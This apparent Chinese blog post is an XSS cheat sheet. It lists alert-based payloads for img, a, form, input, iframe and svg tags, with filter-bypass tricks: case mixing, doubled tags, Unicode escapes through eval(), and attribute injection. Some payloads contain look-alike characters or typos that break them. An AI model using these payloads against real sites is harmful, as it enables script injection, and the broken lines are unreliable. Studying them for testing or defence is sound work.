赞
踩
<?php
echo "<script>alert(1)</script>";
?>
<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img scr="URL" style='Xss:expression(alert(xss));'>
<img src="x" onerror=alert(1)>
<img src="x" οnerrοr=eval("alert('xss')")>
<img src=x οnmοuseοver=alert('xss')>
<img STYLE="background-image:url(javascript:alert('XSS'))">
标准格式
<a href="https://www.baidu.com">baidu</a>
XSS利用方式1
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
XSS利用方式2
<script>alert('xss')</script>
<a href="" οnclick=alert('xss')>aa</a>
XSS利用方式3
<a href="" οnclick=eval(alert('xss'))>aa</a>
XSS利用方式4
<a href=kycg.asp?ttt=1000 οnmοuseοver=prompt('xss') y=2016>aa</a>
XSS利用方式1
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
XSS利用方式2
<form method=post action=aa.asp? οnmοuseοver=prompt('xss')>
<form method=post action=aa.asp? οnmοuseοver=alert('xss')>
<form action=1 οnmοuseοver=alert('xss')>
标准格式
<input name="name" value="">
利用方式1
<input value="" οnclick=alert('xss') type="text">
利用方式2
<input name="name" value="" οnmοuseοver=prompt('xss') bad="">
利用方式4
<input name="name" value=""><script>alert('xss')</script>
XSS利用方式1
<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
XSS利用方式2
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
<!--原code-->
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<!--base64编码-->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
XSS利用方式3
<iframe src="aaa" οnmοuseοver=alert('xss') /><iframe>
XSS利用方式3
<iframe src="javascript:prompt(`xss`)"></iframe>
<svg onload=alert(1)>
这个绕过方式的出现是因为网站仅仅只过滤了<script>
标签,而没有考虑标签中的大小写并不影响浏览器的解释所致。具体的方式就像这样: <sCriPt>alert(1)</SCripT>
有的只过滤了一次script标签,因此可以使用双写来绕过<sCri<script>Pt>alert(1)</SC</script>ripT>
<img src="x" onerror="alert(1)">
就可以再次愉快的弹窗。原因很简单,我们指定的图片地址根本不存在也就是一定会发生错误,这时候onerror里面的代码自然就得到了执行。
onmouseover="alert(1)"
,比如
<a onmousemove="do something here">
当用户鼠标移动时即可运行代码<div onmouseover="do something here">
当用户鼠标在这个块上面时即可运行(可以配合weight等参数将div覆盖页面,鼠标不划过都不行) onclick="alert(1)"
这个要点击后才能运行代码,条件相对苛刻,就不再详述。
比如以下代码
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/ //http...或https....
if (domainRe.test(input)) { //是否包含在input中
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
payload:http://www.segmentfault.com" onload="alert(1)
\uXXXX
这种写法的Unicode 转义序列,表示一个字符,其中 XXXX 表示一个 16 进制数字,如<的Unicode 编码为\u003c。
有的时候,服务器往往会对代码中的关键字(如alert)进行过滤,这个时候我们可以尝试将关键字进行编码后再插入,不过直接显示编码是不能被浏览器执行的,我们可以用另一个语句eval()来实现。eval()会将编码过的语句解码后再执行,简直太贴心了。
例如alert(1)编码过后就是\u0061\u006c\u0065\u0072\u0074(1)
(对应于ASCII码的十六进制)
所以构建出来的攻击语句如下:<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>
实体编码字符<svg>
(翻译官)
把要转码的先Unicode转换一下,然后后台看到有翻译官会把Unincode编码转回为当初的字符
比如以下代码
function render (input) {
const stripBracketsRe = /[()`]/g //正则表达式,看//包裹的内容即可
input = input.replace(stripBracketsRe, '') 把()`替换为空
return input
}
payload:<svg><script>alert(1)</script>
因为控制字符()变成了实体编码因此要使用翻译官才能让()正确发挥控制字符的作用
function render (input) {
input = input.toUpperCase() //把所有的输出内容都大写
return `<h1>${input}</h1>`
}
payload:<img src="" onerror="alert(1)">
本文内容由网友自发贡献,转载请注明出处:【wpsshop博客】
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。